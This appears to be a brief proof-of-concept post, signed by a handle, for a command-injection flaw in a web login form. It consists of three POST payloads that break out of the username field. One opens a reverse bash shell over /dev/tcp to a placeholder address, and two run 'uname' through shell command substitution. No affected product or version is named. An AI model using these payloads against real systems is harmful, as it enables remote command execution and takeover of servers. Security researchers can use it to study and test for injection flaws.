影响版本：
POC：
POST /login 1：
op=login&username=1 2\',\'1\'\); `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F0.0.0.0%2F0000%200%3E%261`
2:
op=login&username=1 2\',\'1\'\); $(uname)
3:
op=login&username=1 2\',\'1\'\); ```uname```
@NS-Sp4ce